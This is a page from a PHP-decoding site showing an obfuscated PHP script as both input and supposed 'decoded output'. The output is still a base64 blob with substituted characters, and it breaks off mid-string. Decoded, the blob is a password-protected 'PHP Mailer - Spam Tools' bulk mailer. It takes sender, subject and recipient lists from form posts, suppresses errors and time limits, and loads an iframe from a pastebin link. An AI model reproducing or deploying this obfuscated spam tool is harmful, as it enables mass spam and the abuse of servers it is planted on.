Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $_F=__FILE__;$_X='Pz48P3BocA0KLyoqDQogKiBQSFAgTTE0bDVyIC0gU3AxbSBUMjJscw0KICogQHY1cn..

Decoded Output download

<?php $_F=__FILE__;$_X='Pz48P3BocA0KLyoqDQogKiBQSFAgTTE0bDVyIC0gU3AxbSBUMjJscw0KICogQHY1cnM0Mm4gOiBvLjANCioqLw0KDQokcDFzc3cycmQgPSAiIjsgLy8gUDFzc3cycmQgDQoNCnM1c3M0Mm5fc3QxcnQoKTsNCjVycjJyX3I1cDJydDRuZygwKTsNCnM1dF90NG01X2w0bTR0KDApOw0KNG40X3M1dCgibTVtMnJ5X2w0bTR0IiwtNik7DQoNCg0KJHQyMmxzWyd2NXJzNDJuJ109Im8uMCI7DQokdDIybHNbJzEzdGgyciddPSJzcDFtdDIybHNAajFiYjVyLjF0IjsNCiR0MjJsc1snbDRzdHQyMmxzJ109Ijw0ZnIxbTUgc3JjPSdodHRwczovL3Axc3Q1YjRuLmMybS9yMXcvcEgwWkxvREsnIHN0eWw1PSdiMnJkNXI6bjJuNTt3NGR0aDo2MDAlJz48LzRmcjFtNT4iOw0KDQoNCiRzNXNzNDJuYzJkNSA9IG1kaShfX0ZJTEVfXyk7DQo0ZighNW1wdHkoJHAxc3N3MnJkKSAxbmQgJF9TRVNTSU9OWyRzNXNzNDJuYzJkNV0gIT0gJHAxc3N3MnJkKXsNCiAgICAjIF9SRVFVRVNUIG01MW4gX1BPU1QgMnIgX0dFVCANCiAgICA0ZiAoNHNzNXQoJF9SRVFVRVNUWydwMXNzJ10pIDFuZCAkX1JFUVVFU1RbJ3Axc3MnXSA9PSAkcDFzc3cycmQpIHsNCiAgICAgICAgJF9TRVNTSU9OWyRzNXNzNDJuYzJkNV0gPSAkcDFzc3cycmQ7DQogICAgfQ0KICAgIDVsczUgew0KICAgICAgICBwcjRudCAiPHByNSAxbDRnbj1jNW50NXI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PSdwMXNzdzJyZCcgbjFtNT0ncDFzcyc+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+IjsNCiAgICAgICAgNXg0dDsgICAgICAgIA0KICAgIH0NCn0NCg0KNGYoJF9QT1NUWycxY3Q0Mm4nXT09InM1bmQiKXsNCiAgICAkczVuZDVyRW0xNGw9c3AxbXQyMmxzVHI0bSgkX1BPU1RbJ3M1bmQ1ckVtMTRsJ10pOw0KICAgICRzNW5kNXJOMW01PXNwMW10MjJsc1RyNG0oJF9QT1NUWydzNW5kNXJOMW01J10pOw0KICAgICRyNXBseVQyPXNwMW10MjJsc1RyNG0oJF9QT1NUWydyNXBseVQyJ10pOw0KICAgICRzM2JqNWN0PXNwMW10MjJsc1RyNG0oJF9QT1NUWydzM2JqNWN0J10pOw0KICAgICQ1bTE0bEw0c3Q9c3AxbXQyMmxzVHI0bSgkX1BPU1RbJzVtMTRsTDRzdCddKTsNCiAgICAkbTVzczFnNVR5cDU9c3AxbXQyMmxzVHI0bSgkX1BPU1RbJ201c3MxZzVUeXA1J10pOw0KICAgICRtNXNzMWc1TDV0dDVyPXNwMW10MjJsc1RyNG0oJF9QT1NUWydtNXNzMWc1TDV0dDVyJ10pOyAgICANCiAgICAkbTVzczFnNUw1dHQ1ciA9IDNybDVuYzJkNSgkbTVzczFnNUw1dHQ1cik7DQogICAgJG01c3MxZzVMNXR0NXIgPSA1cjVnX3I1cGwxYzUoIiVpQyVhYSIsICIlYWEiLCAkbTVzczFnNUw1dHQ1cik7DQogICAgJG01c3MxZzVMNXR0NXIgPSAzcmxkNWMyZDUoJG01c3MxZzVMNXR0NXIpOw0KICAgICRtNXNzMWc1TDV0dDVyID0gc3RyNHBzbDFzaDVzKCRtNXNzMWc1TDV0dDVyKTsNCiAgICAkczNiajVjdCA9IHN0cjRwc2wxc2g1cygkczNiajVjdCk7DQogICAgJDVuYzJkNSA9IHN0cjRwc2wxc2g1cygkNW5jMmQ1KTsNCg0KDQp9DQo0ZigkbTVzczFnNVR5cDU9PWEpew0KICAgICRwbDE0bj0iY2g1Y2s1ZCI7DQp9DQo1bHM1IHsNCiAgICAkaHRtbD0iY2g1Y2s1ZCI7DQp9DQoNCmYzbmN0NDJuIHNwMW10MjJsc0NsNTFyKCR0NXh0LCQ1bTE0bCl7DQogICAgJDVtMTRsM3M1ciA9IHByNWdfcjVwbDFjNSgnLyhbXkBdKikuKi8nLCAnJDYnLCAkNW0xNGwpOw0KICAgICR0NXh0ID0gc3RyX3I1cGwxYzUoIlstdDRtNS1dIiwgZDF0NSgibS9kL1kgaDo0OnMgMSIsIHQ0bTUoKSksICR0NXh0KTsNCiAgICAkdDV4dCA9IHN0cl9yNXBsMWM1KCJbLTVtMTRsLV0iLCAkNW0xNGwsICR0NXh0KTsNCiAgICAkdDV4dCA9IHN0cl9yNXBsMWM1KCJbLTVtMTRsM3M1ci1dIiwgJDVtMTRsM3M1ciwgJHQ1eHQpOw0KICAgICR0NXh0ID0gc3RyX3I1cGwxYzUoIlstcjFuZDJtbDV0dDVycy1dIiwgcjFuZFN0cjRuZygnMWJjZDVmZ2g0amtsbW4ycHFyc3Qzdnd4eXonKSwgJHQ1eHQpOw0KICAgICR0NXh0ID0gc3RyX3I1cGwxYzUoIlstcjFuZDJtc3RyNG5nLV0iLCByMW5kU3RyNG5nKCcxYmNkNWZnaDRqa2xtbjJwcXJzdDN2d3h5ejA2YW91aWU3ODknKSwgJHQ1eHQpOw0KICAgICR0NXh0ID0gc3RyX3I1cGwxYzUoIlstcjFuZDJtbjNtYjVyLV0iLCByMW5kU3RyNG5nKCcwNmFvdWllNzg5JyksICR0NXh0KTsNCiAgICAkdDV4dCA9IHN0cl9yNXBsMWM1KCJbLXIxbmQybW1kaS1dIiwgbWRpKHIxbmRTdHI0bmcoJzFiY2Q1ZmdoNGprbG1uMnBxcnN0M3Z3eHl6MDZhb3VpZTc4OScpKSwgJHQ1eHQpOw0KICAgIHI1dDNybiAkdDV4dDsNCiAgICANCn0NCmYzbmN0NDJuIHNwMW10MjJsc1RyNG0oJHN0cjRuZyl7DQpyNXQzcm4gc3RyNHBzbDFzaDVzKGx0cjRtKHJ0cjRtKCRzdHI0bmcpKSk7DQp9DQpmM25jdDQybiByMW5kU3RyNG5nKCRjMm5zMm4xbnRzKSB7DQogICAgJGw1bmd0aD1yMW5kKDZhLGFpKTsNCiAgICAkcDFzc3cycmQgPSAnJzsNCiAgICBmMnIgKCQ0ID0gMDsgJDQgPCAkbDVuZ3RoOyAkNCsrKSB7DQogICAgICAgICAgICAkcDFzc3cycmQgLj0gJGMybnMybjFudHNbKHIxbmQoKSAlIHN0cmw1bigkYzJuczJuMW50cykpXTsNCiAgICB9DQogICAgcjV0M3JuICRwMXNzdzJyZDsNCn0NCmYzbmN0NDJuIHNwMW10MjJsc00xNGxDaDVjaygkNW0xNGwpew0KICAgJDV4cCA9ICJeWzEtelwnMC05XSsoWy5fLV1bMS16XCcwLTldKykqQChbMS16MC05XSsoWy5fLV1bMS16MC05XSspKSskIjsNCiAgIDRmKDVyNWc0KCQ1eHAsJDVtMTRsKSl7DQogICAgICAgIDRmKGNoNWNrZG5zcnIoMXJyMXlfcDJwKDV4cGwyZDUoIkAiLCQ1bTE0bCkpLCJNWCIpKXtyNXQzcm4gdHIzNTt9DQogICAgICAgIDVsczV7cjV0M3JuIGYxbHM1O30NCiAgIH0NCiAgIDVsczV7cjV0M3JuIGYxbHM1O30gICAgDQp9DQoNCmNsMXNzIFBIUE0xNGw1cg0Kew0KICAgIC8qKg0KICAgICAqIFRoNSBQSFBNMTRsNXIgVjVyczQybiBuM21iNXIuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFY1cnM0Mm4gPSAnaS5hLjZ1JzsNCg0KICAgIC8qKg0KICAgICAqIEVtMTRsIHByNDJyNHR5Lg0KICAgICAqIE9wdDQybnM6IG4zbGwgKGQ1ZjEzbHQpLCA2ID0gSDRnaCwgbyA9IE4ycm0xbCwgaSA9IGwydy4NCiAgICAgKiBXaDVuIG4zbGwsIHRoNSBoNTFkNXIgNHMgbjJ0IHM1dCAxdCAxbGwuDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjICRQcjQycjR0eSA9IG4zbGw7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgY2gxcjFjdDVyIHM1dCAyZiB0aDUgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkQ2gxclM1dCA9ICc0czItODhpOS02JzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBNSU1FIEMybnQ1bnQtdHlwNSAyZiB0aDUgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkQzJudDVudFR5cDUgPSAndDV4dC9wbDE0bic7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgbTVzczFnNSA1bmMyZDRuZy4NCiAgICAgKiBPcHQ0Mm5zOiAiOGI0dCIsICI3YjR0IiwgImI0bjFyeSIsICJiMXM1ZXUiLCAxbmQgInEzMnQ1ZC1wcjRudDFibDUiLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRFbmMyZDRuZyA9ICc4YjR0JzsNCg0KICAgIC8qKg0KICAgICAqIEgybGRzIHRoNSBtMnN0IHI1YzVudCBtMTRsNXIgNXJyMnIgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkRXJyMnJJbmYyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgRnIybSA1bTE0bCAxZGRyNXNzIGYyciB0aDUgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkRnIybSA9ICdyMjJ0QGwyYzFsaDJzdCc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgRnIybSBuMW01IDJmIHRoNSBtNXNzMWc1Lg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRGcjJtTjFtNSA9ICdSMjJ0IFVzNXInOw0KDQogICAgLyoqDQogICAgICogVGg1IFM1bmQ1ciA1bTE0bCAoUjV0M3JuLVAxdGgpIDJmIHRoNSBtNXNzMWc1Lg0KICAgICAqIElmIG4ydCA1bXB0eSwgdzRsbCBiNSBzNW50IHY0MSAtZiB0MiBzNW5kbTE0bCAyciAxcyAnTUFJTCBGUk9NJyA0biBzbXRwIG0yZDUuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFM1bmQ1ciA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IFI1dDNybi1QMXRoIDJmIHRoNSBtNXNzMWc1Lg0KICAgICAqIElmIDVtcHR5LCA0dCB3NGxsIGI1IHM1dCB0MiA1NHRoNXIgRnIybSAyciBTNW5kNXIuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKiBAZDVwcjVjMXQ1ZCBFbTE0bCBzNW5kNXJzIHNoMjNsZCBuNXY1ciBzNXQgMSByNXQzcm4tcDF0aCBoNTFkNXI7DQogICAgICogNHQncyB0aDUgcjVjNTR2NXIncyBqMmIgKFJGQ2lvYTYgczVjdDQybiB1LnUpLCBzMiB0aDRzIG4yIGwybmc1ciBkMjVzIDFueXRoNG5nLg0KICAgICAqIEBsNG5rIGh0dHBzOi8vdDIybHMuNDV0Zi4ycmcvaHRtbC9yZmNpb2E2I3M1Y3Q0Mm4tdS51IFJGQ2lvYTYgcjVmNXI1bmM1DQogICAgICovDQogICAgcDNibDRjICRSNXQzcm5QMXRoID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgUzNiajVjdCAyZiB0aDUgbTVzczFnNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkUzNiajVjdCA9ICcnOw0KDQogICAgLyoqDQogICAgICogQW4gSFRNTCAyciBwbDE0biB0NXh0IG01c3MxZzUgYjJkeS4NCiAgICAgKiBJZiBIVE1MIHRoNW4gYzFsbCA0c0hUTUwodHIzNSkuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJEIyZHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBwbDE0bi10NXh0IG01c3MxZzUgYjJkeS4NCiAgICAgKiBUaDRzIGIyZHkgYzFuIGI1IHI1MWQgYnkgbTE0bCBjbDQ1bnRzIHRoMXQgZDIgbjJ0IGgxdjUgSFRNTCA1bTE0bA0KICAgICAqIGMxcDFiNGw0dHkgczNjaCAxcyBtM3R0ICYgRTNkMnIxLg0KICAgICAqIENsNDVudHMgdGgxdCBjMW4gcjUxZCBIVE1MIHc0bGwgdjQ1dyB0aDUgbjJybTFsIEIyZHkuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJEFsdEIyZHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIEFuIDRDMWwgbTVzczFnNSBwMXJ0IGIyZHkuDQogICAgICogT25seSBzM3BwMnJ0NWQgNG4gczRtcGw1IDFsdCAyciAxbHRfNG5sNG41IG01c3MxZzUgdHlwNXMNCiAgICAgKiBUMiBnNW41cjF0NSA0QzFsIDV2NW50cywgM3M1IHRoNSBiM25kbDVkIDV4dHIxcy9FMXN5UDUxc3lJQ1MucGhwIGNsMXNzIDJyIDRDMWxjcjUxdDJyDQogICAgICogQGw0bmsgaHR0cDovL3NwcjE0bi5jaC9ibDJnL2Qyd25sMjFkcy9waHAtY2wxc3MtNTFzeXA1MXN5NGNzLWNyNTF0NS00YzFsLWY0bDVzLXc0dGgtcGhwLw0KICAgICAqIEBsNG5rIGh0dHA6Ly9rNGdrMm5zM2x0LnM1LzRDMWxjcjUxdDJyLw0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRJYzFsID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBUaDUgYzJtcGw1dDUgYzJtcDRsNWQgTUlNRSBtNXNzMWc1IGIyZHkuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCAkTUlNRUIyZHkgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBjMm1wbDV0NSBjMm1wNGw1ZCBNSU1FIG01c3MxZzUgaDUxZDVycy4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEAxY2M1c3MgcHIydDVjdDVkDQogICAgICovDQogICAgcHIydDVjdDVkICRNSU1FSDUxZDVyID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBFeHRyMSBoNTFkNXJzIHRoMXQgY3I1MXQ1SDUxZDVyKCkgZDI1c24ndCBmMmxkIDRuLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKi8NCiAgICBwcjJ0NWN0NWQgJG0xNGxINTFkNXIgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFcycmQtd3IxcCB0aDUgbTVzczFnNSBiMmR5IHQyIHRoNHMgbjNtYjVyIDJmIGNoMXJzLg0KICAgICAqIFM1dCB0MiAwIHQyIG4ydCB3cjFwLiBBIDNzNWYzbCB2MWwzNSBoNXI1IDRzIDc4LCBmMnIgUkZDYThhYSBzNWN0NDJuIGEuNi42IGMybXBsNDFuYzUuDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjICRXMnJkV3IxcCA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBXaDRjaCBtNXRoMmQgdDIgM3M1IHQyIHM1bmQgbTE0bC4NCiAgICAgKiBPcHQ0Mm5zOiAibTE0bCIsICJzNW5kbTE0bCIsIDJyICJzbXRwIi4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkTTE0bDVyID0gJ20xNGwnOw0KDQogICAgLyoqDQogICAgICogVGg1IHAxdGggdDIgdGg1IHM1bmRtMTRsIHByMmdyMW0uDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFM1bmRtMTRsID0gJy8zc3Ivc2I0bi9zNW5kbTE0bCc7DQoNCiAgICAvKioNCiAgICAgKiBXaDV0aDVyIG0xNGwoKSAzczVzIDEgZjNsbHkgczVuZG0xNGwtYzJtcDF0NGJsNSBNVEEuDQogICAgICogT241IHdoNGNoIHMzcHAycnRzIHM1bmRtMTRsJ3MgIi0yNCAtZiIgMnB0NDJucy4NCiAgICAgKiBAdjFyIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgJFVzNVM1bmRtMTRsT3B0NDJucyA9IHRyMzU7DQoNCiAgICAvKioNCiAgICAgKiBQMXRoIHQyIFBIUE0xNGw1ciBwbDNnNG5zLg0KICAgICAqIFVzNWYzbCA0ZiB0aDUgU01UUCBjbDFzcyA0cyBuMnQgNG4gdGg1IFBIUCA0bmNsM2Q1IHAxdGguDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKiBAZDVwcjVjMXQ1ZCBTaDIzbGQgbjJ0IGI1IG41NWQ1ZCBuMncgdGg1cjUgNHMgMW4gMTN0MmwyMWQ1ci4NCiAgICAgKi8NCiAgICBwM2JsNGMgJFBsM2c0bkQ0ciA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IDVtMTRsIDFkZHI1c3MgdGgxdCAxIHI1MWQ0bmcgYzJuZjRybTF0NDJuIHNoMjNsZCBiNSBzNW50IHQyLCAxbHMyIGtuMnduIDFzIHI1MWQgcjVjNTRwdC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkQzJuZjRybVI1MWQ0bmdUMiA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IGgyc3RuMW01IHQyIDNzNSA0biB0aDUgTTVzczFnNS1JRCBoNTFkNXIgMW5kIDFzIGQ1ZjEzbHQgSEVMTyBzdHI0bmcuDQogICAgICogSWYgNW1wdHksIFBIUE0xNGw1ciAxdHQ1bXB0cyB0MiBmNG5kIDJuNSB3NHRoLCA0biAycmQ1ciwNCiAgICAgKiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSwgZzV0aDJzdG4xbTUoKSwgcGhwXzNuMW01KCduJyksIDJyIHRoNSB2MWwzNQ0KICAgICAqICdsMmMxbGgyc3QubDJjMWxkMm0xNG4nLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRIMnN0bjFtNSA9ICcnOw0KDQogICAgLyoqDQogICAgICogQW4gSUQgdDIgYjUgM3M1ZCA0biB0aDUgTTVzczFnNS1JRCBoNTFkNXIuDQogICAgICogSWYgNW1wdHksIDEgM240cTM1IDRkIHc0bGwgYjUgZzVuNXIxdDVkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRNNXNzMWc1SUQgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFRoNSBtNXNzMWc1IEQxdDUgdDIgYjUgM3M1ZCA0biB0aDUgRDF0NSBoNTFkNXIuDQogICAgICogSWYgNW1wdHksIHRoNSBjM3JyNW50IGQxdDUgdzRsbCBiNSAxZGQ1ZC4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkTTVzczFnNUQxdDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgaDJzdHMuDQogICAgICogRTR0aDVyIDEgczRuZ2w1IGgyc3RuMW01IDJyIG0zbHQ0cGw1IHM1bTRjMmwybi1kNWw0bTR0NWQgaDJzdG4xbTVzLg0KICAgICAqIFkyMyBjMW4gMWxzMiBzcDVjNGZ5IDEgZDRmZjVyNW50IHAycnQNCiAgICAgKiBmMnIgNTFjaCBoMnN0IGJ5IDNzNG5nIHRoNHMgZjJybTF0OiBbaDJzdG4xbTU6cDJydF0NCiAgICAgKiAoNS5nLiAic210cDYuNXgxbXBsNS5jMm06YWk7c210cGEuNXgxbXBsNS5jMm0iKS4NCiAgICAgKiBZMjMgYzFuIDFsczIgc3A1YzRmeSA1bmNyeXB0NDJuIHR5cDUsIGYyciA1eDFtcGw1Og0KICAgICAqICg1LmcuICJ0bHM6Ly9zbXRwNi41eDFtcGw1LmMybTppODc7c3NsOi8vc210cGEuNXgxbXBsNS5jMm06dWVpIikuDQogICAgICogSDJzdHMgdzRsbCBiNSB0cjQ1ZCA0biAycmQ1ci4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkSDJzdCA9ICdsMmMxbGgyc3QnOw0KDQogICAgLyoqDQogICAgICogVGg1IGQ1ZjEzbHQgU01UUCBzNXJ2NXIgcDJydC4NCiAgICAgKiBAdjFyIDRudDVnNXINCiAgICAgKiBAVE9ETyBXaHkgNHMgdGg0cyBuNTVkNWQgd2g1biB0aDUgU01UUCBjbDFzcyB0MWs1cyBjMXI1IDJmIDR0Pw0KICAgICAqLw0KICAgIHAzYmw0YyAkUDJydCA9IGFpOw0KDQogICAgLyoqDQogICAgICogVGg1IFNNVFAgSEVMTyAyZiB0aDUgbTVzczFnNS4NCiAgICAgKiBENWYxM2x0IDRzICRIMnN0bjFtNS4gSWYgJEgyc3RuMW01IDRzIDVtcHR5LCBQSFBNMTRsNXIgMXR0NW1wdHMgdDIgZjRuZA0KICAgICAqIDJuNSB3NHRoIHRoNSBzMW01IG01dGgyZCBkNXNjcjRiNWQgMWIydjUgZjJyICRIMnN0bjFtNS4NCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokSDJzdG4xbTUNCiAgICAgKi8NCiAgICBwM2JsNGMgJEg1bDIgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFdoMXQgazRuZCAyZiA1bmNyeXB0NDJuIHQyIDNzNSAybiB0aDUgU01UUCBjMm5uNWN0NDJuLg0KICAgICAqIE9wdDQybnM6ICcnLCAnc3NsJyAyciAndGxzJw0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRTTVRQUzVjM3I1ID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBXaDV0aDVyIHQyIDVuMWJsNSBUTFMgNW5jcnlwdDQybiAxM3QybTF0NGMxbGx5IDRmIDEgczVydjVyIHMzcHAycnRzIDR0LA0KICAgICAqIDV2NW4gNGYgYFNNVFBTNWMzcjVgIDRzIG4ydCBzNXQgdDIgJ3RscycuDQogICAgICogQjUgMXcxcjUgdGgxdCA0biBQSFAgPj0gaS5lIHRoNHMgcjVxMzRyNXMgdGgxdCB0aDUgczVydjVyJ3MgYzVydDRmNGMxdDVzIDFyNSB2MWw0ZC4NCiAgICAgKiBAdjFyIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBBM3QyVExTID0gdHIzNTsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgM3M1IFNNVFAgMTN0aDVudDRjMXQ0Mm4uDQogICAgICogVXM1cyB0aDUgVXM1cm4xbTUgMW5kIFAxc3N3MnJkIHByMnA1cnQ0NXMuDQogICAgICogQHYxciBiMjJsNTFuDQogICAgICogQHM1NSBQSFBNMTRsNXI6OiRVczVybjFtNQ0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjokUDFzc3cycmQNCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBBM3RoID0gZjFsczU7DQoNCiAgICAvKioNCiAgICAgKiBPcHQ0Mm5zIDFycjF5IHAxc3M1ZCB0MiBzdHI1MW1fYzJudDV4dF9jcjUxdDUgd2g1biBjMm5uNWN0NG5nIHY0MSBTTVRQLg0KICAgICAqIEB2MXIgMXJyMXkNCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBPcHQ0Mm5zID0gMXJyMXkoKTsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgM3M1cm4xbTUuDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFVzNXJuMW01ID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIHAxc3N3MnJkLg0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRQMXNzdzJyZCA9ICcnOw0KDQogICAgLyoqDQogICAgICogU01UUCAxM3RoIHR5cDUuDQogICAgICogT3B0NDJucyAxcjUgTE9HSU4gKGQ1ZjEzbHQpLCBQTEFJTiwgTlRMTSwgQ1JBTS1NRGkNCiAgICAgKiBAdjFyIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyAkQTN0aFR5cDUgPSAnJzsNCg0KICAgIC8qKg0KICAgICAqIFNNVFAgcjUxbG0uDQogICAgICogVXM1ZCBmMnIgTlRMTSAxM3RoDQogICAgICogQHYxciBzdHI0bmcNCiAgICAgKi8NCiAgICBwM2JsNGMgJFI1MWxtID0gJyc7DQoNCiAgICAvKioNCiAgICAgKiBTTVRQIHcycmtzdDF0NDJuLg0KICAgICAqIFVzNWQgZjJyIE5UTE0gMTN0aA0KICAgICAqIEB2MXIgc3RyNG5nDQogICAgICovDQogICAgcDNibDRjICRXMnJrc3QxdDQybiA9ICcnOw0KDQogICAgLyoqDQogICAgICogVGg1IFNNVFAgczVydjVyIHQ0bTUyM3QgNG4gczVjMm5kcy4NCiAgICAgKiBENWYxM2x0IDJmIGkgbTRuM3Q1cyAobzAwczVjKSA0cyBmcjJtIFJGQ2E4YTYgczVjdDQybiB1Lmkuby5hDQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICovDQogICAgcDNibDRjICRUNG01MjN0ID0gbzAwOw0KDQogICAgLyoqDQogICAgICogU01UUCBjbDFzcyBkNWIzZyAyM3RwM3QgbTJkNS4NCiAgICAgKiBENWIzZyAyM3RwM3QgbDV2NWwuDQogICAgICogT3B0NDJuczoNCiAgICAgKiAqIGAwYCBOMiAyM3RwM3QNCiAgICAgKiAqIGA2YCBDMm1tMW5kcw0KICAgICAqICogYGFgIEQxdDEgMW5kIGMybW0xbmRzDQogICAgICogKiBgb2AgQXMgYSBwbDNzIGMybm41Y3Q0Mm4gc3QxdDNzDQogICAgICogKiBgdWAgTDJ3LWw1djVsIGQxdDEgMjN0cDN0DQogICAgICogQHYxciA0bnQ1ZzVyDQogICAgICogQHM1NSBTTVRQOjokZDJfZDViM2cNCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBENWIzZyA9IDA7DQoNCiAgICAvKioNCiAgICAgKiBIMncgdDIgaDFuZGw1IGQ1YjNnIDIzdHAzdC4NCiAgICAgKiBPcHQ0Mm5zOg0KICAgICAqICogYDVjaDJgIE8zdHAzdCBwbDE0bi10NXh0IDFzLTRzLCAxcHByMnByNDF0NSBmMnIgQ0xJDQogICAgICogKiBgaHRtbGAgTzN0cDN0IDVzYzFwNWQsIGw0bjUgYnI1MWtzIGMybnY1cnQ1ZCB0MiBgPGJyPmAsIDFwcHIycHI0MXQ1IGYyciBicjJ3czVyIDIzdHAzdA0KICAgICAqICogYDVycjJyX2wyZ2AgTzN0cDN0IHQyIDVycjJyIGwyZyAxcyBjMm5mNGczcjVkIDRuIHBocC40bjQNCiAgICAgKg0KICAgICAqIEFsdDVybjF0NHY1bHksIHkyMyBjMW4gcHIydjRkNSAxIGMxbGwxYmw1IDV4cDVjdDRuZyB0dzIgcDFyMW1zOiAxIG01c3MxZzUgc3RyNG5nIDFuZCB0aDUgZDViM2cgbDV2NWw6DQogICAgICogPGMyZDU+DQogICAgICogJG0xNGwtPkQ1YjNnMjN0cDN0ID0gZjNuY3Q0Mm4oJHN0ciwgJGw1djVsKSB7NWNoMiAiZDViM2cgbDV2NWwgJGw1djVsOyBtNXNzMWc1OiAkc3RyIjt9Ow0KICAgICAqIDwvYzJkNT4NCiAgICAgKiBAdjFyIHN0cjRuZ3xjMWxsMWJsNQ0KICAgICAqIEBzNTUgU01UUDo6JEQ1YjNnMjN0cDN0DQogICAgICovDQogICAgcDNibDRjICRENWIzZzIzdHAzdCA9ICc1Y2gyJzsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgazU1cCBTTVRQIGMybm41Y3Q0Mm4gMnA1biAxZnQ1ciA1MWNoIG01c3MxZzUuDQogICAgICogSWYgdGg0cyA0cyBzNXQgdDIgdHIzNSB0aDVuIHQyIGNsMnM1IHRoNSBjMm5uNWN0NDJuDQogICAgICogcjVxMzRyNXMgMW4gNXhwbDRjNHQgYzFsbCB0MiBzbXRwQ2wyczUoKS4NCiAgICAgKiBAdjFyIGIyMmw1MW4NCiAgICAgKi8NCiAgICBwM2JsNGMgJFNNVFBLNTVwQWw0djUgPSBmMWxzNTsNCg0KICAgIC8qKg0KICAgICAqIFdoNXRoNXIgdDIgc3BsNHQgbTNsdDRwbDUgdDIgMWRkcjVzczVzIDRudDIgbTNsdDRwbDUgbTVzczFnNXMNCiAgICAgKiAyciBzNW5kIHRoNW0gMWxsIDRuIDJuNSBtNXNzMWc1Lg0KICAgICAqIEB2MXIgYjIybDUxbg0KICAgICAqLw0KICAgIHAzYmw0YyAkUzRuZ2w1VDIgPSBmMWxzNTsNCg0KICAgIC8qKg0KICAgICAqIFN0MnIxZzUg